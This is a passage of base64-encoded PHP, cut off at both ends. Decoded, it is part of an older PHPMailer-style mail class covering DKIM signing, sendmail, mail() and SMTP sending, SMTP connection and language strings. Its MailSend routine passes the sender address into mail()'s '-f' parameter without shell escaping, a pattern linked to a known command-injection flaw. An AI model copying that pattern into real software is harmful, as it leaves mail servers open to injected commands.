lNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpKTsKICAgICAgfQoKICAgICAgLy8gZGlnaXRhbGx5IHNpZ24gd2l0aCBES0lNIGlmIGVuYWJsZWQKICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pICYmICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlKSAmJiAhZW1wdHkoJHRoaXMtPkRLSU1fc2VsZWN0b3IpICYmICFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5ES0lNX3ByaXZhdGUpKSB7CiAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKCR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkdGhpcy0+U3ViamVjdCkpLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkaGVhZGVyX2RraW0pIC4gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgIH0KCiAgICAgIHJldHVybiB0cnVlOwoKICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZSkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93ICRlOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBQb3N0U2VuZCgpIHsKICAgIHRyeSB7CiAgICAgIC8vIENob29zZSB0aGUgbWFpbGVyIGFuZCBzZW5kIHRocm91Z2ggaXQKICAgICAgc3dpdGNoKCR0aGlzLT5NYWlsZXIpIHsKICAgICAgICBjYXNlICdzZW5kbWFpbCc6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPlNlbmRtYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICBjYXNlICdzbXRwJzoKICAgICAgICAgIHJldHVybiAkdGhpcy0+U210cFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgY2FzZSAnbWFpbCc6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPk1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPk1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICB9CiAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICB0aHJvdyAkZTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPlNNVFBEZWJ1ZykgewogICAgICAgICR0aGlzLT5lZGVidWcoJGUtPmdldE1lc3NhZ2UoKS4iXG4iKTsKICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkgewogICAgaWYgKCR0aGlzLT5TZW5kZXIgIT0gJycpIHsKICAgICAgJHNlbmRtYWlsID0gc3ByaW50ZigiJXMgLW9pIC1mJXMgLXQiLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCBlc2NhcGVzaGVsbGFyZygkdGhpcy0+U2VuZGVyKSk7CiAgICB9IGVsc2UgewogICAgICAkc2VuZG1haWwgPSBzcHJpbnRmKCIlcyAtb2kgLXQiLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpKTsKICAgIH0KICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gPT09IHRydWUpIHsKICAgICAgZm9yZWFjaCAoJHRoaXMtPlNpbmdsZVRvQXJyYXkgYXMgJHZhbCkgewogICAgICAgIGlmKCFAJG1haWwgPSBwb3Blbigkc2VuZG1haWwsICd3JykpIHsKICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGZwdXRzKCRtYWlsLCAiVG86ICIgLiAkdmFsIC4gIlxuIik7CiAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgIGZwdXRzKCRtYWlsLCAkYm9keSk7CiAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gKCRyZXN1bHQgPT0gMCkgPyAxIDogMDsKICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdmFsLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MsICR0aGlzLT5TdWJqZWN0LCAkYm9keSk7CiAgICAgICAgaWYoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgaWYoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgIH0KICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICBmcHV0cygkbWFpbCwgJGJvZHkpOwogICAgICAkcmVzdWx0ID0gcGNsb3NlKCRtYWlsKTsKICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgJGlzU2VudCA9ICgkcmVzdWx0ID09IDApID8gMSA6IDA7CiAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICBpZigkcmVzdWx0ICE9IDApIHsKICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBNYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkgewogICAgJHRvQXJyID0gYXJyYXkoKTsKICAgIGZvcmVhY2goJHRoaXMtPnRvIGFzICR0KSB7CiAgICAgICR0b0FycltdID0gJHRoaXMtPkFkZHJGb3JtYXQoJHQpOwogICAgfQogICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgIGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgewogICAgICAkcGFyYW1zID0gIiAiOwogICAgfSBlbHNlIHsKICAgICAgJHBhcmFtcyA9IHNwcmludGYoIi1mJXMiLCAkdGhpcy0+U2VuZGVyKTsKICAgIH0KICAgIGlmICgkdGhpcy0+U2VuZGVyICE9ICcnIGFuZCAhaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgJG9sZF9mcm9tID0gaW5pX2dldCgnc2VuZG1haWxfZnJvbScpOwogICAgICBpbmlfc2V0KCdzZW5kbWFpbF9mcm9tJywgJHRoaXMtPlNlbmRlcik7CiAgICB9CiAgICAgICRydCA9IGZhbHNlOwogICAgaWYgKCR0aGlzLT5TaW5nbGVUbyA9PT0gdHJ1ZSAmJiBjb3VudCgkdG9BcnIpID4gMSkgewogICAgICBmb3JlYWNoICgkdG9BcnIgYXMgJHZhbCkgewogICAgICAgICRydCA9ICR0aGlzLT5tYWlsX3Bhc3N0aHJ1KCR2YWwsICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gKCRydCA9PSAxKSA/IDEgOiAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR2YWwsICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgJHJ0ID0gJHRoaXMtPm1haWxfcGFzc3RocnUoJHRvLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAkaXNTZW50ID0gKCRydCA9PSAxKSA/IDEgOiAwOwogICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgIH0KICAgIGlmIChpc3NldCgkb2xkX2Zyb20pKSB7CiAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkb2xkX2Zyb20pOwogICAgfQogICAgaWYoISRydCkgewogICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNtdHBTZW5kKCRoZWFkZXIsICRib2R5KSB7CiAgICAvL3JlcXVpcmVfb25jZSAkdGhpcy0+UGx1Z2luRGlyIC4gJ2NsYXNzLnNtdHAucGhwJzsKICAgICRiYWRfcmNwdCA9IGFycmF5KCk7CgogICAgaWYoISR0aGlzLT5TbXRwQ29ubmVjdCgpKSB7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICB9CiAgICAkc210cF9mcm9tID0gKCR0aGlzLT5TZW5kZXIgPT0gJycpID8gJHRoaXMtPkZyb20gOiAkdGhpcy0+U2VuZGVyOwogICAgaWYoISR0aGlzLT5zbXRwLT5NYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuaW1wbG9kZSgnLCcsICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpKSk7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkVycm9ySW5mbywgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICB9CgogICAgLy8gQXR0ZW1wdCB0byBzZW5kIGF0dGFjaCBhbGwgcmVjaXBpZW50cwogICAgZm9yZWFjaCgkdGhpcy0+dG8gYXMgJHRvKSB7CiAgICAgIGlmICghJHRoaXMtPnNtdHAtPlJlY2lwaWVudCgkdG9bMF0pKSB7CiAgICAgICAgJGJhZF9yY3B0W10gPSAkdG9bMF07CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gMDsKICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdG9bMF0sICcnLCAnJywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfSBlbHNlIHsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAxOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR0b1swXSwgJycsICcnLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICB9CiAgICB9CiAgICBmb3JlYWNoKCR0aGlzLT5jYyBhcyAkY2MpIHsKICAgICAgaWYgKCEkdGhpcy0+c210cC0+UmVjaXBpZW50KCRjY1swXSkpIHsKICAgICAgICAkYmFkX3JjcHRbXSA9ICRjY1swXTsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAkY2NbMF0sICcnLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICB9IGVsc2UgewogICAgICAgIC8vIGltcGxlbWVudCBjYWxsIGJhY2sgZnVuY3Rpb24gaWYgaXQgZXhpc3RzCiAgICAgICAgJGlzU2VudCA9IDE7CiAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJGlzU2VudCwgJycsICRjY1swXSwgJycsICR0aGlzLT5TdWJqZWN0LCAkYm9keSk7CiAgICAgIH0KICAgIH0KICAgIGZvcmVhY2goJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgIGlmICghJHRoaXMtPnNtdHAtPlJlY2lwaWVudCgkYmNjWzBdKSkgewogICAgICAgICRiYWRfcmNwdFtdID0gJGJjY1swXTsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAnJywgJGJjY1swXSwgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfSBlbHNlIHsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAxOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAnJywgJGJjY1swXSwgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfQogICAgfQoKCiAgICBpZiAoY291bnQoJGJhZF9yY3B0KSA+IDAgKSB7IC8vQ3JlYXRlIGVycm9yIG1lc3NhZ2UgZm9yIGFueSBiYWQgYWRkcmVzc2VzCiAgICAgICRiYWRhZGRyZXNzZXMgPSBpbXBsb2RlKCcsICcsICRiYWRfcmNwdCk7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkYmFkYWRkcmVzc2VzKTsKICAgIH0KICAgIGlmKCEkdGhpcy0+c210cC0+RGF0YSgkaGVhZGVyIC4gJGJvZHkpKSB7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2RhdGFfbm90X2FjY2VwdGVkJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgfQogICAgaWYoJHRoaXMtPlNNVFBLZWVwQWxpdmUgPT0gdHJ1ZSkgewogICAgICAkdGhpcy0+c210cC0+UmVzZXQoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHRoaXMtPnNtdHAtPlF1aXQoKTsKICAgICAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNtdHBDb25uZWN0KCRvcHRpb25zID0gYXJyYXkoKSkgewoKICAgIGlmKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICR0aGlzLT5zbXRwID0gbmV3IFNNVFA7CiAgICB9CgogICAgLy9BbHJlYWR5IGNvbm5lY3RlZD8KICAgIGlmICgkdGhpcy0+c210cC0+Q29ubmVjdGVkKCkpIHsKICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgJHRoaXMtPnNtdHAtPlRpbWVvdXQgPSAkdGhpcy0+VGltZW91dDsKICAgICR0aGlzLT5zbXRwLT5kb19kZWJ1ZyA9ICR0aGlzLT5TTVRQRGVidWc7CiAgICAkdGhpcy0+c210cC0+RGVidWdvdXRwdXQgPSAkdGhpcy0+RGVidWdvdXRwdXQ7CiAgICAkdGhpcy0+c210cC0+ZG9fdmVycCA9ICR0aGlzLT5kb192ZXJwOwogICAgJGluZGV4ID0gMDsKICAgICR0bHMgPSAoJHRoaXMtPlNNVFBTZWN1cmUgPT0gJ3RscycpOwogICAgJHNzbCA9ICgkdGhpcy0+U01UUFNlY3VyZSA9PSAnc3NsJyk7CiAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgJGxhc3RleGNlcHRpb24gPSBudWxsOwoKICAgIGZvcmVhY2ggKCRob3N0cyBhcyAkaG9zdGVudHJ5KSB7CiAgICAgICRob3N0aW5mbyA9IGFycmF5KCk7CiAgICAgICRob3N0ID0gJGhvc3RlbnRyeTsKICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgaWYgKHByZWdfbWF0Y2goJy9eKC4rKTooWzAtOV0rKSQvJywgJGhvc3RlbnRyeSwgJGhvc3RpbmZvKSkgeyAvL0lmICRob3N0ZW50cnkgY29udGFpbnMgJ2FkZHJlc3M6cG9ydCcsIG92ZXJyaWRlIGRlZmF1bHQKICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1sxXTsKICAgICAgICAkcG9ydCA9ICRob3N0aW5mb1syXTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPnNtdHAtPkNvbm5lY3QoKCRzc2wgPyAnc3NsOi8vJzonJykuJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRoZWxsbyA9ICR0aGlzLT5TZXJ2ZXJIb3N0bmFtZSgpOwogICAgICAgICAgfQogICAgICAgICAgJHRoaXMtPnNtdHAtPkhlbGxvKCRoZWxsbyk7CgogICAgICAgICAgaWYgKCR0bHMpIHsKICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+U3RhcnRUTFMoKSkgewogICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL1dlIG11c3QgcmVzZW5kIEhFTE8gYWZ0ZXIgdGxzIG5lZ290aWF0aW9uCiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5IZWxsbygkaGVsbG8pOwogICAgICAgICAgfQogICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5BdXRoZW50aWNhdGUoJHRoaXMtPlVzZXJuYW1lLCAkdGhpcy0+UGFzc3dvcmQsICR0aGlzLT5BdXRoVHlwZSwgJHRoaXMtPlJlYWxtLCAkdGhpcy0+V29ya3N0YXRpb24pKSB7CiAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnYXV0aGVudGljYXRlJykpOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICRsYXN0ZXhjZXB0aW9uID0gJGU7CiAgICAgICAgICAvL1dlIG11c3QgaGF2ZSBjb25uZWN0ZWQsIGJ1dCB0aGVuIGZhaWxlZCBUTFMgb3IgQXV0aCwgc28gY2xvc2UgY29ubmVjdGlvbiBuaWNlbHkKICAgICAgICAgICR0aGlzLT5zbXRwLT5RdWl0KCk7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICAvL0lmIHdlIGdldCBoZXJlLCBhbGwgY29ubmVjdGlvbiBhdHRlbXB0cyBoYXZlIGZhaWxlZCwgc28gY2xvc2UgY29ubmVjdGlvbiBoYXJkCiAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgIC8vQXMgd2UndmUgY2F1Z2h0IGFsbCBleGNlcHRpb25zLCBqdXN0IHJlcG9ydCB3aGF0ZXZlciB0aGUgbGFzdCBvbmUgd2FzCiAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMgYW5kICFpc19udWxsKCRsYXN0ZXhjZXB0aW9uKSkgewogICAgICB0aHJvdyAkbGFzdGV4Y2VwdGlvbjsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTbXRwQ2xvc2UoKSB7CiAgICBpZiAoJHRoaXMtPnNtdHAgIT09IG51bGwpIHsKICAgICAgaWYoJHRoaXMtPnNtdHAtPkNvbm5lY3RlZCgpKSB7CiAgICAgICAgJHRoaXMtPnNtdHAtPlF1aXQoKTsKICAgICAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgICAgfQogICAgfQogIH0KCiAgZnVuY3Rpb24gU2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICdsYW5ndWFnZS8nKSB7CiAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgJ2F1dGhlbnRpY2F0ZScgICAgICAgICA9PiAnYXV0aGVudGljYXRlJywKICAgICAgJ2Nvbm5lY3RfaG9zdCcgICAgICAgICA9PiAnY29ubmVjdF9ob3N0JywKICAgICAgJ2RhdGFfbm90X2FjY2VwdGVkJyAgICA9PiAnZGF0YV9ub3RfYWNjZXB0ZWQnLAogICAgICAnZW1wdHlfbWVzc2FnZScgICAgICAgID0+ICdlbXB0eV9tZXNzYWdlJywKICAgICAgJ2VuY29kaW5nJyAgICAgICAgICAgICA9PiAnZW5jb2RpbmcgJywKICAgICAgJ2V4ZWN1dGUnICAgICAgICAgICAgICA9PiAnZXhlY3V0ZScsCiAgICAgICdmaWxlX2FjY2VzcycgICAgICAgICAgPT4gJ2ZpbGVfYWNjZXNzJywKICAgICAgJ2ZpbGVfb3BlbicgICAgICAgICAgICA9PiAnZmlsZV9vcGVuJywKICAgICAgJ2Zyb21fZmFpbGVkJyAgICAgICAgICA9PiAnZnJvbV9mYWlsZWQnLAogICAgICAnaW5zdGFudGlhdGUnICAgICAgICAgID0+ICdpbnN0YW50aWF0ZScsCiAgICAgICdpbnZhbGlkX2FkZHJlc3MnICAgICAgPT4gJ2ludmFsaWRfYWRkcmVzcycsCiAgICAgICdtYWlsZXJfbm90X3N1cHBvcnRlZCcgPT4gJ21haWxlcl9ub3Rfc3VwcG9ydGVkJywKICAgICAgJ3Byb3ZpZGVfYWRkcmVzcycgICAgICA9PiAncHJvdmlkZV9hZGRyZXNzJywKICAgICAgJ3JlY2lwaWVudHNfZmFpbGVkJyAgICA9PiAncmVjaXBpZW50c19mYWlsZWQnLAogICAgICAnc2lnbmluZycgICAgICAgICAgICAgID0+ICdzaWduaW5nJywKICAgICAgJ3NtdHBfY29ubmVjdF9mYWlsZWQnICA9PiAnc210cF9jb25uZWN0X2ZhaWxlZCcsCiAgICAgICdzbXRwX2Vycm9yJyAgICAgICAgICAgPT4gJ3NtdHBfZXJyb3InLAogICAgICAndmFyaWFibGVfc2V0JyAgICAgICAgID0+ICd2YXJpYWJsZV9zZXQnCiAgICApOwogICAgJGwgPSB0cnVlOwogICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7IC8vVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICRsID0gQGluY2x1ZGUgJGxhbmdfcGF0aC4ncGhwbWFpbGVyLmxhbmctJy4kbGFuZ2NvZGUuJy5waHAnOwogICAgfQogICAgJHRoaXMtPmxhbmd1YWdlID0gJFBIUE1BSUxFUl9MQU5HOwogICAgcmV0dXJuICgkbCA9PSB0cnVlKTsgLy9SZXR1cm5zIGZhbHNlIGlmIGxhbmd1YWdlIG5vdCBmb3VuZAogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEdldFRyYW5zbGF0aW9ucygpIHsKICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2U7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkckFwcGVuZCgkdHlwZSwgJGFkZHIpIHsKICAgICRhZGRyX3N0ciA9ICR0eXBlIC4gJzogJzsKICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgZm9yZWFjaCAoJGFkZHIgYXMgJGEpIHsKICAgICAgJGFkZHJlc3Nlc1tdID0gJHRoaXMtPkFkZHJGb3JtYXQoJGEpOwogICAgfQogICAgJGFkZHJfc3RyIC49IGltcGxvZGUoJywgJywgJGFkZHJlc3Nlcyk7CiAgICAkYWRkcl9zdHIgLj0gJHRoaXMtPkxFOwoKICAgIHJldHVybiAkYWRkcl9zdHI7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkckZvcm1hdCgkYWRkcikgewogICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgewogICAgICByZXR1cm4gJHRoaXMtPlNlY3VyZUhlYWRlcigkYWRkclswXSk7CiAgICB9IGVsc2UgewogICAgICByZXR1cm4gJHRoaXMtPkVuY29kZUhlYWRlcigkdGhpcy0+U2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gIiA8IiAuICR0aGlzLT5TZWN1cmVIZWFkZXIoJGFkZHJbMF0pIC4gIj4iOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFdyYXBUZXh0KCRtZXNzYWdlLCAkbGVuZ3RoLCAkcXBfbW9kZSA9IGZhbHNlKSB7CiAgICAkc29mdF9icmVhayA9ICgkcXBfbW9kZSkgPyBzcHJpbnRmKCIgPSVzIiwgJHRoaXMtPkxFKSA6ICR0aGlzLT5MRTsKICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICJ1dGYtOCIpOwogICAgJGxlbGVuID0gc3RybGVuKCR0aGlzLT5MRSk7CiAgICAkY3JsZmxlbiA9IHN0cmxlbihzZWxmOjpDUkxGKTsKCiAgICAkbWVzc2FnZSA9ICR0aGlzLT5GaXhFT0woJG1lc3NhZ2UpOwogICAgaWYgKHN1YnN0cigkbWVzc2FnZSwgLSRsZWxlbikgPT0gJHRoaXMtPkxFKSB7CiAgICAgICRtZXNzYWdlID0gc3Vic3RyKCRtZXNzYWdlLCAwLCAtJGxlbGVuKTsKICAgIH0KCiAgICAkbGluZSA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9ICcnOwogICAgZm9yICgkaSA9IDAgOyRpIDwgY291bnQoJGxpbmUpOyAkaSsrKSB7CiAgICAgICRsaW5lX3BhcnQgPSBleHBsb2RlKCcgJywgJGxpbmVbJGldKTsKICAgICAgJGJ1ZiA9ICcnOwogICAgICBmb3IgKCRlID0gMDsgJGU8Y291bnQoJGxpbmVfcGFydCk7ICRlKyspIHsKICAgICAgICAkd29yZCA9ICRsaW5lX3BhcnRbJGVdOwogICAgICAgIGlmICgkcXBfbW9kZSBhbmQgKHN0cmxlbigkd29yZCkgPiAkbGVuZ3RoKSkgewogICAgICAgICAgJHNwYWNlX2xlZnQgPSAkbGVuZ3RoIC0gc3RybGVuKCRidWYpIC0gJGNybGZsZW47CiAgICAgICAgICBpZiAoJGUgIT0gMCkgewogICAgICAgICAgICBpZiAoJHNwYWNlX2xlZnQgPiAyMCkgewogICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsKICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+VVRGOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICI9IikgewogICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgIH0gZWxzZWlmIChzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSA9PSAiPSIpIHsKICAgICAgI